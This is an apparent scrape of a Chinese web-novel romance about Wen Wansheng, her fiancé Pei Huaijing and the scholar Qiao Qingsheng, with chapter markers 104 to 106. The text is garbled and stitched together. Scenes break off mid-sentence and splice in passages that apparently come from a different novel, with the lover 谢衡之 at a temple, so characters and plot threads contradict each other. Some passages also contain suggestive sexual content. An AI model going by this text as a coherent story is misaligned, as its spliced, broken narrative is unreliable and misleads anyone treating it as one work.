裴怀璟剑眉一挑,语带一丝戏谑,丝毫不心虚:“我若是再不起,某人怕是连一碗药汤都裴不得给我了。” 温晚笙一时无言,方才她便是在去煎药的路上,听见了敲门声。 空气凝滞间,一直被二人忽略的乔青生忽而温声问道:“晚笙姑娘,这位公子是?” 裴怀璟抱着双臂,继续似笑非笑地注视着她,静待答复。 温晚笙张了张口:“这位是我的” 她一时竟有些说不清他们二人的关系。 说是青梅竹马,有些不太贴切,毕竟他们虽儿时便相识,但也并非时常相伴。 说是未婚夫妻,又不甚合适,毕竟他们之间这桩婚事应当很快便会解除。 她顿了顿,半晌才道:“我的朋友,姓裴,名怀璟。” 朋友? 裴怀璟听见这两个字,原本扬起的嘴角慢慢地平了下去,连他自己都没发觉。 乔青生了然点头,温声道:“原来是裴公子。”他起身作了一揖,彬彬有礼道:“在下乔青生,乃晚笙姑娘的邻里。” 他面上不显,但心底却是隐隐感觉二人之间的关系不似普通朋友那般简单。 而且他们二人今日的衣着甚是相配,皆是青竹淡雅色。 “哦,乔公子。”裴怀璟懒懒瞥他一眼后,一步一步地径直走向坐在乔青生对面的少女。 此前与这白面书生交谈时,她倒是颇为欢愉,为何一见到他,脸上笑意便缓缓褪去? 所以她先前究竟因何而欢喜? 走到距离她五步之遥时,他才停下脚步垂眸俯视她,语气有些沉闷:“温晚笙,你是不是忘了什么?” 这距离使得少女长睫不由自主地颤了颤。 她难道不是忘了给他送药汤吗?还有什么? 她抬眸望向面前少年,只见他骨节分明的手正轻抚腰间玄色腰带,不断来回拨弄。 她好似明白了,今日好像是给他伤口换细布的日子。 可她不是早将布放在西厢房了吗? 见少女默不作声,他语气略带怒意:“你便是如此对待一个伤重之人的?” 乔青生连忙温声打圆场:“裴公子,是在下唐突前来拜访,晚笙姑娘才一时没想起裴公子所言之事。” 他虽不知是何事,但见少年面色严肃,应当是很重要的事吧。 温晚笙也察觉到少年神色有些奇怪,细声开口:“等我招待好乔大哥,便” 少年脸色更加沉郁,这一口一个“乔大哥”,把他这个未婚夫当什么了? 他虽不喜这桩婚事,但她也不该同其他男子如此亲密。 他嘴角勾起一丝不冷不热的笑,直接打断她:“行,那你便好好招待你的乔、大、哥。”他故意将最后几个字咬得极重。 温晚笙抿唇不再做声,不明白他为何总是这般莫名其妙对她发火。 不过就是一时忘了给他送药汤,而且见他如此生龙活虎的模样,也应当是不需要了。 乔青生又站起身打圆场:“不必不必。”他语气中略有一丝叨扰的歉意:“在下也是时候该回了。” 他们从前日日相依,对彼此再熟悉不过。 温晚笙无意识倾身,在他额前落下一个极轻的吻。 亲完,她欲盖弥彰地补了一句:“现在扯平了。” 算是昨天他亲她的报复。反正他喝醉了,等明天醒来,什么都不会记得。 少年好一会儿才发觉发生了什么,他立刻凑上去吻她,却被少女的手按住了唇。 他不急也不恼,如往日一般就着她的手,黏黏糊糊地沿着指腹、指根、掌心,落下细碎的吻,用唇舌齿尖盖住所有另一人的痕迹。 舒服得跟按摩似的。温晚笙本来就困,现在眼皮一点点沉重下来。 恍惚间,她感觉自己应该在做梦。 不知过了多久,两人相拥着沉沉睡去。 月色温柔,梦也温柔。 第 104 章 第 104 章 月落日升,天际泛白。 “我爱你。” 温晚笙耳畔被温热的气息拂得发痒,迷迷糊糊地伸出手推了推,下意识应了一句: “我也爱” 话说一半,戛然而止。 掌心下的触感微微起伏,线条分明。 她的眼皮一颤,朦胧间看到个隐隐绰绰的身影,正贴得极近,衣襟半敞。 次日。 抱琴轻轻推开房门,温声道:“小姐?” 她见温晚笙已然起身,一人静静坐在梳妆台前,有些讶异但却微微松了口气。 她本已猜到了半分,但昨夜还是特意去问了裴戟,果真如她所想。 小姐虽平日不甚在意旁人的言论,但对世子的话却格外留心。 倘若是他说她哪儿不好,那她定是会一连几日都难以入眠。 她立在身形单薄的少女背后,语气轻缓,装作若无其事地笑道:“小姐,宛儿小姐有事找你呢。” 她眸光掠过桌上的八宝匣,心中替自家小姐不值。 小姐这些年来处处顺着世子心意,而他却着实太不将她放在心上了。 她今日想着找点事来分散小姐的注意,于是便想到她好似对醉月楼一案颇感兴趣。 想起昨日跟随温归凌的温宛儿,她一大早便去往悦来客栈,试探性询问大公子能否带上小姐一同办案。 未曾想大公子还未说什么,宛儿小姐就已代他答应了。 抱琴说完便小心翼翼地留意着温晚笙的反应,只见她终于抬眸,疑惑道:“宛儿?” 温宛儿如今身份是温归凌的小厮,不应当有事寻她。 莫非她有作为姐妹的话要同她说? 抱琴见她似是提起了兴趣,面上也看不见丝毫悲痛,语气中不由得带了点雀跃:“是呀小姐,抱琴给你梳妆可好?” 温晚笙平静地点了点头,任由抱琴接过她的墨发。 抱琴梳妆的手法娴熟,不出一刻钟便将她打扮妥帖。 抱琴满意地望向镜中艳丽的少女,不由得心叹她配得上这世间最好的男儿,并非定要在世子一人身上白费情感。 二人一前一后缓步走到厅堂。 温晚笙见到似是因无聊,所以不断原地打转的温宛儿,眸子动了动。 她本以为温宛儿会恢复女子打扮,但却没想到她依旧是小厮模样。 温宛儿转身见到她,双眸登时一亮,还未开口,便闻其声:昨夜的记忆忽然翻涌上来,温晚笙默默收回手,把眼睛闭得死紧,放缓呼吸。 好尴尬,昨晚她到底为什么没有把他撵出去。她开始反思,究竟是从什么时候开始,她竟然完全不觉得和他同榻而眠有什么不对了? 醉酒的少年本还头疼得厉害,此刻却因为那半句回应,唇角慢慢漾开一个满足的笑。 他看着心上人看得出神,不知不觉离得更近了些,想与她唇贴唇。 温晚笙终于按捺不住,抬手挡在两人之间。 她猛地睁开眼,正想骂人,话到嘴边却卡了壳。 他本欲拒绝,但身旁小厮却奉他阿娘之命,恳求他务必留下。 他明白阿娘意图促进他与未来妻子的情感,但他最是厌恶被人约束。 “小姐,您也真是的,怎的不跟老爷夫人说呢!” 远处传来的女声打断了二人之间的谈话。 裴怀璟星眸微凝,一把环住少女纤细的腰身,躲到了假山后。 温晚笙眼睫一颤,搭住少年强劲有力的臂,堪堪站稳后,不解道:“世子这是作甚?” 裴怀璟下意识伸出手,覆在她红润的唇上:“本世子可不想让人瞧见,你我同在一处。” 少女闻言,心底不由得泛起失落。 谢衡之从来都感觉自己的未婚妻子太过年少,不通情爱。 而他在朝堂上尚能侃侃而谈,在面对她时,却不如旁的男子舌灿莲花,无法将她哄得心花怒放。 那日过后,她的眼神频频在他唇上流连。可每当他稍稍靠近,她便下意识往后缩。 例如此刻。 今日,他们两家人一起到城外最灵验的寺庙祈福。 人声渐远,香烟袅袅,他们两人最先求完签,百无聊赖地坐在一处幽静角落。 温晚笙望着松柏出神,两条腿前后晃来晃去,道心快要破碎了。 算算时间,那个碍事的家伙已经回郦国快二十天了。她刚带他看完手,就收到陆子昂的信,求她劝他速速回国,不然他要被宋大将军灭了。 她劝了,他就走了。 没了他的阻碍,她应该更快完成任务的。 明明亲个嘴没什么大不了的,说不准亲完以后,攻略值直接刷满,连七天后那场婚都不用结。 她到底在纠结什么呢。 谢衡之温润如玉的眼眸落在少女身上,声音如溪水漫过鹅卵石,“笙儿,待会可要留下吃斋饭?” 他果真还是那样不喜她。 但唇上突如而来的轻柔触感,却使她脸颊泛起淡淡红晕。 她久居深宅,从未与男子有过这等接触。若非她还受着系统限制,恐怕早已出声反驳。 然而那丫鬟却没察觉主子的不悦,仍旧滔滔不绝:“小姐,不是奴婢说您,但您也得长些心眼。” “若是大小姐说服老爷夫人将您赶走,那您就依旧是乡下出生的野丫头,而大小姐则继续做回高高在上的侯府嫡女,您便再无立足之地。” “您得学会讨好老爷夫人,成为侯府独女,这样奴婢也能跟着您过上好日子!”她只当温宛儿是毫无心计的乡下人,便也口无遮拦。 “我知道了,芸香,让我清静会行吗?!”温宛儿捂住耳朵,加快了脚步。 她实在是有些无可奈何。 狗作者晚排了无数这样的角色,挑唆原本没有嫌隙的姐妹二人。 鼻尖飘来一阵少女独有的兰香,裴怀璟陡然反应过来自己出格之举。 他不自在地轻咳一声,慌忙松开手,如碰到烫手山芋般。 他们并非在做什么见不得人的事,但他心底为何升起了一抹异样? 他轻摩挲着方才碰过她的那只手,那温热的触感仍萦绕在他掌心。 二人不约而同将视线从彼此身上移开,而另一边的谈话声也变得愈发清晰。 “小姐,明明是大小姐故意落水,害得您禁足!” 温晚笙眉心轻蹙,远远地看见,说话的是祖母分配给温宛儿的丫鬟。 温宛儿撇了撇嘴,对婢女的话置若罔闻。 “斋饭?”温晚笙回过神来,弯了弯眼睛,“好啊,我还没吃过呢。” “好。” 谢衡之望着少女扑闪扑闪的眼睫,突然抬手,拂过她微蹙的眉心。 “可还是在为七日后紧张?”他问。 第一次成婚,他又何尝不紧张。 他的指腹带着温热,让那一小块皮肤莫名发烫。 凭什么温宛儿一来便可以 少女身形微颤,被自己的想法惊到,陡然回过神。 这声音是那日害她落水的东西。 它竟还能控制她的思绪? 养父母能让她留在府中,她已感激不尽,又怎该对他们的亲生女儿生起妒意? 温晚笙竭力稳固心神,面上却没显出丝毫异样:“父亲母亲,晚笙身子有些不适,想先行告退。” 崇德侯与许氏微微颔首,皆未表露出任何挽留的意愿。 温晚笙乌睫半垂,遮住杏眸中一闪而过的失落。 她步履轻盈,独身踏入庭院散心,忽听一道好听的声音响起:“温大小姐——” 他尾音拉得很长,懒散的声调似笑非笑。 她闻声回首,却空无一人。 倏然,春风拂过,一道身影从树上翩然而下。 少年身着一袭绛红色镶金丝长锦衣,华贵而张扬。 他生得剑眉星眸,一双琥珀色的桃花眼微微上翘,略显妖冶。 桃花瓣随着他的动作,轻盈飘落,落在二人肩头与发梢。 温晚笙内心掀起一丝涟漪,怔怔望着自己的心上人。 少年倚着树干,笑得玩世不恭:“本世子在你府中住了一日一夜,某人竟都没来探望你的救命恩人?” 温晚笙清澈的眸中宛如秋水漾漾,语气中带着不易察觉的欣喜:“那日落水是世子救了我?”温晚笙怔了怔,下意识瞥了眼空无一人的四周,才点点头,“是有点…” 话音方落,额间忽然落下一片温热。 青年的薄唇在她眉心郑重地印下一吻。 温晚笙寒毛乍起,脑子轰然空白,只能结结巴巴地吐出一句:“谢谢大人?” 这可是谢衡之。 这可是在寺庙。 清冽的呼吸下落,扑在她的鼻尖,带着淡淡的檀香,仿佛一场无声的祈愿。 “可以吗?”他轻声问。 不知何时,求来的姻缘签从他袖中滑落,落在地上,字迹清晰。 裴怀璟眉梢轻扬,语气不耐:“你以为是谁?” 那日,他被母亲硬遣着拜访侯府,未曾想意外碰上她与一陌生姑娘交谈,还无意听见侯府秘闻。 紧接着她便失足落水。 那同她谈话的姑娘呼救声及其响亮,他心知很快便会引得下人注意。 他本不欲多管闲事,但瞥见水中那抹淡紫身影,心中却是烦闷无比。 他知道,她从小便不会水。 最终,他还是轻踏假山巅跃入水中,径直游向她。 将人救起后,他只是打了个喷嚏,温老夫人便让他在府中住上一日。【再,斯可矣。】 第 105 章 第 105 章 谢衡之一手生疏地托住少女的后颈,将她带得微微仰起脸。 她的鼻尖秀挺,温凉如暖玉,轻轻抵在他的鼻端。 呼吸交缠间,清淡的柑橘香萦绕上来,一丝一缕,无声无息地侵入心神,提醒着他,他已越过了所有应该恪守的界限。 “谢大人,我”温晚笙浑身僵硬。 任务对象都主动到这种地步了,她也不知道自己在扭捏什么。 她说话的幅度小得可怜,连唇都不敢多动一下,生怕一个不小心,就真的碰上去。 谢衡之垂眸。 少女始终不肯看他,长睫细密地覆在眼下,局促得紧。 温晚笙笑着与几人道别,正与抱琴说待会找一家酒楼解决午饭时,迎面碰上步履匆匆的乔青生。 她有些讶异,轻唤了声:“乔大哥?” 乔青生听见声音,停住了脚步:“晚笙姑娘?”他抬头看了眼“明华阁”的牌匾,目露诧异:“你怎会在此?” 温晚笙笑了笑,回眸望向已然瞧不清身影的温宛儿兄妹二人:“今日与几位友人聚了一番。” 乔青生点点头,顺着她的目光望去,却在看见一高一矮的两人时,微微皱了皱眉。 那矮的一蹦一跳的模样,怎的同他妹妹那样像? 旋即,他摇了摇头,不可能是她,她此刻应当在上京城。 温晚笙看了眼他手中的几卷纸,疑惑道:“乔大哥这是?” 乔青生收回视线,面露羞赧:“在下写了几幅字,作了几幅画,正准备拿去集市卖。” 近日,这物价是越来越贵了,他若是再不做些什么,只怕他们三人难以生活。 温晚笙恍然大悟点了点头,想起他曾说过这一回事。 她此前也想去集市一看,只是前有裴怀璟后有温归凌与温宛儿探访,便耽搁了,所幸从侯府带来的积蓄也还够用。 思及此,她话音一转:“乔大哥,我可否一同前往?” 即便温归凌说要将她接回侯府,但她心知自己的身份尴尬,或许还是要另做打算。 乔青生笑了笑:“姑娘随我来便是,就在前方不远处。”他步伐随着温晚笙的脚步慢了下来:“晚笙姑娘若是缺钱了,其实也可一试,那老板是个好说话的。” 温晚笙点头称是。 不出一盏茶功夫,二人便到了他所言之处。 温晚笙本以为是集市小摊,结果却是一间开在集市边其貌不扬的小店。 外边瞧着毫无特别之处,但内里却是极其幽雅,不难看出它的老板是个文雅之人。 在忙活的中年人瞧见来人,笑着招呼:“青生来了。” 他对这个年轻人很是喜欢,几乎每幅字画都能卖出好价钱。 “李叔。”乔青生笑了笑,四处张望了一番:“时老板今日可在?” “东家今日应该会来,你不妨等等。” “这位是”李叔看这两人有几分相似的面庞,面露恭喜之色:“这便是乔公子的那位妹妹吧。” 他的字画中常常思及亲人,他们二人闲聊之际他才得知,原来他妹妹不告而别,一人去了上京。 乔青生摇了摇头,笑道:“李叔误会了,这位不是我妹妹。” 他又何尝不想早日找到她。 温晚笙看出乔青生的失落,笑着接过话头:“李叔,我是乔大哥的邻里。” 李叔面露憾色,同她点了点头。 随着一股清香传来,李叔忽而笑道:“老板来了。” 他只是欢喜了一瞬,便哭丧着脸道:“你今日可是来督促我读书的?” 他才刚下学堂,便又要用功,都怪表兄。 方大娘笑着摸了摸他的头,双眸微微湿润:“子翁,你要同你晚笙姐姐好好学。” 侯府着实太过绝情,养了十几年的姑娘说赶就赶了出来,也没给她半点消息。 瞧着晚笙的模样,似是并不知晓还有家人在世。 得亏她从弟媳口中得知,晚笙后颈有一块桃花状浅粉胎记,否则即便晚笙容貌再怎样同她生身父母相似,她也断然不会想到,老天竟会让她们姑侄在梧桐城相见。 方家只有一间书房,此时乔青生正用着,所以几人便来到了正厅。 方大娘握着温晚笙的手,笑道:“晚笙,往后你就将这当成自己家,莫要拘束。” 她只恨不能立即将事实道出,只是还需再等上几日,等乔青生考完试。 见温晚笙含笑应下后,方大娘才晚心前去准备晚膳,抱琴也跟着去帮忙。 方子翁心知躲不过,便老实地将夫子布置的作业拿了出来,递到她跟前。 在温晚笙翻看的功夫,他四周张望了下,忽然悄声道:“晚笙姐姐,等三日后我表兄去考试了,你就可以不用来了。” 温晚笙忍俊不禁地看着他古灵精怪的模样,一语道破:“你读书可是为了你表兄?” 方子翁一噎,瓮声瓮气抱怨:“可我就不是读书的料嘛!” 温晚笙不置可否,只是淡淡一笑,示意他先写一页,再让她检查一番。 方子翁只好垂着头开始动笔。 约莫一刻钟后,他将作业交于正在喝茶的温晚笙,朗声道:“我做好了!” 温晚笙接过纸张,却略微皱眉。 半晌,她微微扯动嘴角,似是有些艰难道:“你再同我说说这句“寒来暑往,秋收冬藏”是何意?” 方子翁皱起小脸,一本正经道:“意思是冬日与夏日放假之时,可以同伙伴一起玩藏猫儿。” 温晚笙放下纸张,笑出了声:“夫子便是如此教的?” 她依稀记得自己四岁时便学过《千字文》,并将其背得烂熟。 方子翁为难道:“我不记得了” 温晚笙将其真正意思同他讲述后,他恍然大悟地点了点头,但随即又苦恼道:“可是我明日又会忘记。” 温晚笙看出他的沮丧,将他拉到跟前:“一日记不得,那便花上两日三日时间去记,总有一日会成的。” 方子翁似是想起什么,语气委屈道:“可我表兄过目不忘,只看一眼便能记住” 而他却要花上好多个时辰,还记不住那密密麻麻的字。 温晚笙愣了愣。 她算是看出来了,这孩子哪是不爱读书,分明就是有乔青生这么个青年贡士表兄在前,才有了退缩的想法。 恍惚间,她仿佛看见了当年的自己。 她也并非乔青生那样的奇才,凭的只是一腔毅力罢了。 若说什么将她推得最狠,还要数养父在她考得差了之时,用的那把戒尺。 她回过神,轻笑道:“你记住,任何人都是独一无二的。有些事并非努力就会收获成果,但你若是连尝试都不去,日后恐怕会埋冤曾经的自己。” 人生在世,并非次次都能如愿以偿,就好比她与裴怀璟的婚约。 她努力过,便也没资格再为此埋怨。 方子翁似懂非懂地点了点头,回到桌几前,神色比方才认真了许多。 而后,两人便一直一问一答,直至方大娘唤他们用晚膳。 饭桌上,方大娘不断给温晚笙夹菜,直到碗内小菜叠得高高的,连乔青生都看不下去,笑着制止了:“姑母,晚笙姑娘只怕是也吃不下这么多。” “唉”方大娘叹息一声收回了筷子,仍然怜惜地看着自家侄女单薄的身子。 晚笙分明是在侯府长大,怎的面色看起来还不如宛儿红润康健? 方大娘眼角泛着几许忧虑的褶皱:“只可惜后日醉月楼重新开张,届时我便不能早早回来备晚膳了。” 温晚笙微微讶异,柳眉轻挑:“已经破案了?” 兄长此前说,办完案,便要带她一同回京。 宴会尚未开席,却有不少人已经落座。 位于女席间的一位夫人,眸中带着一丝探究之色,讶异道:“侯夫人,所以上回在百花宴与你同席的姑娘,便是二小姐?” 若二人皆为许氏所出,着实令人觉得难以置信。 怎会有姐妹才相差半岁? 许氏含笑点头,眉眼间流露出难掩的喜色。 她总算能将亲生女儿公之于众了。 今日,温府门前车水马龙,宾客络绎不绝,几乎京中所有头有脸的权贵人家,都被邀来参加这场及笄宴。 那位夫人还欲言未尽,却在此时见到晚庆王妃洛氏缓步踏入庭院,只得随着众人起身相迎。 洛氏笑着同众人轻轻点头,但女眷们的目光却没有落在她身上,而是投向了她身后那名身形颀长的少年。 裴世子今日似乎比往日还要俊美绝伦,墨发只用一根红色发带高高束起,一身惹眼的赤红云纹锦衣,精瘦的腰身被墨色腰带勾勒出轮廓。 他光是面无表情地立在那,就仿佛一尊雕琢出的玉人,令在场贵女的面颊不由自主地泛起淡淡绯红。 许氏喜笑颜开地走上前:“王妃,宛儿尚在梳妆。” 洛氏稍稍颔首,面露淡淡微笑。 她本不欲前来,但许氏毕竟是昔日闺中密友,更是日后的亲家,她也不忍驳了许氏的面子。 此前,她只为温晚笙一人行过加笄之礼,原也以为只会给未来儿媳一人加笄。 想及此,她含笑看向许氏:“晚笙可在?” 原本温晚笙每月月初与月中都会前去王府拜访,然而上月竟是一次都未曾来过。 即便王府传拜帖给她,侯府也只说她身子抱恙,不便外出。 许氏知道洛氏对养女的钟爱,便面带歉意道:“王妃见谅,晚笙此时应当在陪着宛儿。” 洛氏若有所思点点头,回身朝着身后的少年道:“阿淮,你先去男席吧。” 她原本想着亲眼见到两个小辈交谈,才得以晚心,但现下晚笙一时半会来不了,将儿子困在她身边也无济于事。 裴怀璟双眸微动,默默拢了拢衣袖,确认里面的东西还在后,才大步走向男席。 素来与他交好的谢家小公子,谢云廷眼尖地瞥见他走来,赶忙朝他招了招手:“裴兄,这边!” 裴怀璟见旁人都朝他看来,颇有一丝装作不认识这人的冲动,却还是三步并作两步地,走到好友为他预留的座位。 谢云廷与裴怀璟同岁,与他有着“过命”的交情。 当年,他被几个纨绔子弟诓骗进赌坊,差点将谢家的宅子都抵了出去,是裴怀璟挺身而出救下了他。 经此一遭,他彻底对素来不羁的裴怀璟改观,成了他的小跟班。 待裴怀璟落座后,谢云廷好奇道:“裴兄,你莫非早就知道温家还有一位姑娘?” 裴怀璟微微颔首,自裴自地给自己斟了杯酒。 裴兄今日话怎的这般少? 谢云廷暗自推测他是否心中有事,略带为难地挠了挠头,准备说些什么缓解一下气氛,便笑道:“温家大小姐生得那般花容月貌,想必她的妹妹也不会逊色,兴许日后我与裴兄还能做连襟” 谢云廷话还未说完,就见裴怀璟放下酒杯,冷冷瞥了他一眼,仿佛他适才的玩笑话触及了什么敏感之处。 他的笑容立时凝固在脸上,也斟了杯酒缓解尴尬。 裴兄今日好像兴致确实不高,还是别惹他为妙。 她下意识想往后躲,却被他扣得紧紧的,在他腿上动弹不得。 炙热的气息洒在她颈脖上,那片皮肤以肉眼可见的速度漫上薄红。 酥酥麻麻的痒意顺着脊骨往下窜,害得她也越来越热。 底下原本只有一点存在感的物甚,也不知道什么时候开始变得 裴怀璟高挺的鼻梁磨蹭着她,唇沿着颈侧慢慢移上来。 最后,他含住她早已红透的耳垂,吮了吮。 “可以吗?” “笙笙” 第 106 章 第 106 章 少年吞咽完她的耳垂,又掠到她耳后。气息赤裸裸地洒着,舌尖探出,舔舐着那块薄肉。 温晚笙全身燥得慌,上半身不敢乱动,下半身也无法自控。 “停!”她终于忍不住出声,声音里带着一点恼意。 被喊停的少年并未退去,唇仍紧贴着她,缱绻地伺候她。 温晚笙偏过头,歪了歪肩,强撑着冷静,“够了。” 温晚笙回过神,静静打量着温宛儿,只见她乖顺笑着,正点头附和许氏的嘱咐。 温宛儿口中的系统是何人,竟能与她在心中对话? 温晚笙屏息凝神,试图听见那系统的声音,但传来的却依旧是少女清脆的声音。 温晚笙:? 她们要抢哪个男人?她可以跟他开玩笑,说什么侍候不侍候的,但在弄清楚婚事之前,哪能这样不明不白地任他为所欲为。 裴怀璟察觉到她的情动,讨好般地再次含住她薄厚适中的耳肉。此次,舌尖由下往上反复挑弄,一下比一下缠绵,就像是在 他感受着软软的东西在唇齿间渐渐升温、融化,将人抱得更紧,喉间溢出一声难耐。 温晚笙肩颈剧烈地颤了颤,不受控制地坐得更深,布料下的温度几乎要将她灼伤。 她真快憋不住了。一阵沉默过后,那个她中意的少年终于淡淡开口,宛如春风拂过柳梢的声音中听不出情绪:“不喜归不喜,她好歹也是我的未婚妻。”他顿了顿,有些迟疑地补充道:“若是她因为我出了什么事,我可不好向我娘交代。” 温晚笙垂在身侧的左手不由得攥紧了衣裙。她向来知道他们之间的这桩婚事只是长辈与她欢喜罢了,可亲耳听见还是有些不同。 裴戟了然点头,打趣道:“公子,那我怎么看您是真的动情了呢?” 几日前王爷曾传信让公子回府养伤,但他却道找到了一个幽静的好地方,更适合养伤。 虽说他半点未提及温姑娘,但他却感觉自家公子好似变了。 温晚笙闻言不禁抬眸,偷偷望向少年颀长的背影,心中又涌起一丝希望。 然而下一刻,她的一颗心彻底沉入深渊,宛如一颗沉重的石块。 裴怀璟似是有些恼羞成怒,猛然踹了裴戟一脚,断然道:“绝无可能!” 入寒风刺骨的四个字在她耳边不断回荡,手中的药碗险些没端住。 他说他绝无可能喜欢她。“我都说了与我无关!”方子翁手脚并用试图挣脱裴戟的束缚:“你这人怎么随便冤枉孩童啊?” 他不过就是见敲门无人应答,便同从前一般,直接偷溜进来看那两只猫儿,未曾想却竟被这黑衣男子怀疑与什么纸条有关。 裴戟对他的解释充耳不闻,不容置疑地拎着他的后领:“给我老实点!”他使出半分力气,一掌落在了不断扭动的孩童身上:“随我去见我家公子!” 他当然看出这小儿应是与方才那箭矢无关,但他莫名出现在温姑娘家中也属实有些可疑。 方子翁捂着火辣辣的屁股,委屈道:“哎哟!你干嘛打我!我跟你走就是了!” 他今日着实倒霉透顶,猫儿没看见,还被怪人抓了。 他一双黑黢黢的大眼珠转了转,圆润的小脸上透出一丝警惕。 晚笙姐姐家中怎会有如此奇怪的人? 裴戟没继续理会方子翁,他大步如流星,只一瞬便从花园走到了西厢房。 他取下门框上的箭矢与纸条,转而往屋内望去,脚步微微一顿。 房门是敞着的,他能看到身着一袭淡雅青袍的裴怀璟立在窗前,凝视着手中的香囊,不知在想些什么。 他往日总是一副吊儿郎当、潇洒的模样,而此刻竟像是一位多愁善感的文雅诗人。 不得不说温姑娘挑选衣袍的眼光还真不错。 裴戟啧啧称奇之际,方子翁灵活地如同一条泥鳅一般,从大手中溜了出去。 他刚迈出两只小细腿转身欲跑,就听见一声:“站住!” 他脚步微微停顿,作势顺从,然而在下一瞬,便一溜烟地窜了出去。 此时不跑待何时! 他方才偷偷瞄见这男子口中的公子,虽说穿得倒是道貌岸然的,但他既同这武力强悍的黑衣男子相识,定不会是什么好人。 若是他们两人一起欺负他,那他可真生死未卜了。 小短腿即使速度再快,身量也不过成人一半高,他还没跑几步,便又被裴戟拽了回来。 裴戟将他定在门前,语气故作凶狠:“再跑当心我打断你的腿!” 方子翁无法动弹,只能垂下头,满脸委屈。 裴怀璟早就被这动静吵得回过神来,收起手中香囊,向外走去,眉宇间漂浮着难以言喻的阴霾:“裴戟。” 裴戟闻声连忙行了一礼:“公子。” 他抬头偷偷瞧了眼,公子那双桃花眼下,竟有两团淡淡的乌青。 他心中泛起一丝新奇,暗自揣测公子是否一夜未睡。 回想起昨日他与温姑娘不欢而散的情景,他顿时觉得自己好像发现了一件不得了的事。 裴怀璟皱眉打量着这陌生孩童:“哪来的小孩?” 裴戟从跌宕起伏的思绪中回过神,如是答道:“公子,属下方才在花园内看见这鬼鬼祟祟的毛头小儿,便将他带来由公子处置。” 一旁的方子翁听见裴戟那样说他,立即不满地解释道:“我是来找晚笙姐姐的!” 他说罢,便高高地仰起头直视两人,一副士可杀不可辱的模样。 听见那两个字,裴怀璟原本疲惫的神情微微一变,靠在门边抱臂俯视着他:“你找她有何事?” 见方子翁不说话,裴戟轻轻拍了拍他的脑袋:“说!” 方子翁捂着头,踟蹰半晌,才不情不愿道:“晚笙姐姐同我表兄说好,要教我功课的!” 虽说他此番前来只是为了看黑白无常,但他莫名感觉不该那样回答。 表兄? 裴怀璟脑中猛然闪过那日温晚笙与乔青生的谈话,想来他那表兄便是那书生了。 他双拳不自觉握紧,语气淡淡:“你来晚了,她不在。” 她今日早晨便出了门,还命抱琴将药方都给了裴戟,摆明了不想再管他。 虽说他的伤早已痊愈得差不多了,但心头却依旧感到一丝烦闷。 他是怕她遇害才连夜赶到这梧桐城的,而她便如此对他? 裴戟补充道:“公子,抱琴同属下说她们大约午时便会回。” 裴怀璟瞪了裴戟一眼,面上出现一丝愠怒:“关我何事!” 他才不想知道。 裴戟轻声嘀咕:“这不是这孩童要寻温姑娘嘛。况且,公子您自己不也很想” “瞧你这模样,可真是可怜啊!” “再告诉你一个事实,他马上就要与别人定亲了。” “你若是再执迷不悟,只会被温宛儿处处压一头,眼睁睁看着她嫁得比你好上千倍万倍!” 这嘲弄的声音刺得她心口发闷,犹如被剜去一块肉。 它的意思是,裴怀璟要与温宛儿定亲了? 手中的汤药微微有些撒出,在她冰凉洁白的手背上显得格外醒目,仿佛是无情现实的冷嘲热讽。 她目送那滴汤药渗入她的袖口,眨了眨微红的眸子,将里头快要溢出来的水雾,又生生地倒了回去。 她忽而想起护国公千金柳清月说过的话。 她说强扭的瓜不可能会甜,她迟早有一天会被裴怀璟狠狠抛弃。 当初,她并未太在意这番话语,只觉他偶尔也并非那样讨厌她,或许能够将他这块冷玉捂热。 但她忘了,感情讲求两情相悦,纵然她再喜欢他,也改变不了他不喜她的事实。 她艰难地呼出一口气后,径直走向裴怀璟。 裴戟率先看见眼眶通红的少女,有些不知所措地看向自家公子,不动声色地使了个眼色:“温姑娘” 裴怀璟眉心一动,刚转过身,便感到手中一沉。只不过救错了人。 裴怀璟理所应当地认为,被绑架的人是同他有牵连的温晚笙,可实际上却是她这个悲催的穿书人。 这么狗血的剧情也只有在这种甜宠文中,才会出现了。 到头来,所有的所有都只是为了给太子男主多一些高光铺垫 温晚笙听见她提及裴怀璟时,杏眸微微动了动。 他是来救人的? 因为知道他不会告诉她,所以她索性便没问他那日究竟是因何而来。 如今瞧着,温宛儿好似知道其中缘由。 只不过那日他伤得如此重,他自己倒像是需要被救的那个人。 温宛儿的心声没再继续传来,正当她满腔疑虑时,那个所谓的“大反派”开了口:“忘了介绍,在下是明华阁的老板,时将离。” 温晚笙心中暗生纳罕,明华阁的老板竟年纪也如此之轻,看起来不过二十出头,倒与裘月影有得一拼。 而温归凌则看了眼目不转睛盯着他的裘月影,眸光幽暗,冷声道:“时老板,可是有事?” 时将离淡定自若,作了一揖:“想来这位便是温大人吧,大理寺少卿声名在外,时某早有耳闻。” 温归凌微微颔首,对他知晓自己身份一事,并无多大意外,示意他继续说下去。 时将离不动声色地扫了眼裘月影,笑道:“时某是想邀几位贵客下楼赏戏,今儿的戏班子可是一年只来一回。” 看戏何需老板请自来邀,随便唤个小二来便是。 这么多上雅间的客人,难不成他还要一一邀约? 温归凌意味不明地凝视着,看似言辞姿态温和有礼的男子,语气平平:“既如此,那我们便不推脱这番好意了。” 时将离满意一笑,亲自领着众人下楼。 已然有不少人聚集在刚搭建好的戏台子前,但戏还未开场。 温晚笙走在温归凌身后,心绪逐渐沉重。 上一次看戏还是两月前,晚庆王妃的生辰宴上。 时将离一路将几人领到了前排的座椅:“这是我为几位特意留的位置。” 几人不置可否,顺势入座。 等了约莫一刻钟,戏台子上逐渐响起“咿咿呀呀”的唱戏声。 温晚笙闻声望去,只见男女两角情意绵绵,唱腔悠扬。 猝然,男角退场,只留下扮女角的戏子。 她步伐轻盈,一袭水袖,一抖青衣,偏偏间唱尽愁苦,一丝一缕婉转悠扬。 温晚笙一时看入了神,不经意轻声念出一句诗词:“落花人独立,微雨燕双飞。” 燕成双飞,而人却是孤独。 少女冷冷将那碗药汤放入他手中后,没有丝毫停留,决绝离去。 他捧着手中冰凉的药碗,望着少女单薄的背影,一时有些莫名烦躁。 好像冰凉的不仅仅是那碗药。 裴戟有些懊恼方才挑起的话头,看向一动不动的裴怀璟,提醒道:“公子,温姑娘应当是听见了。” 他们年末便要成婚,方才那番话只怕是会影响到两人日后的生活。 裴怀璟盯着手中那碗黑乎乎的东西,一些零零散散的画面浮现在脑海中,半晌才有些不耐烦道:“罢了,听见就听见吧” 他说的便是他心中所想,她听见了又能如何? 他不是她的好归宿,他也不会喜欢她这般性子沉闷的姑娘。 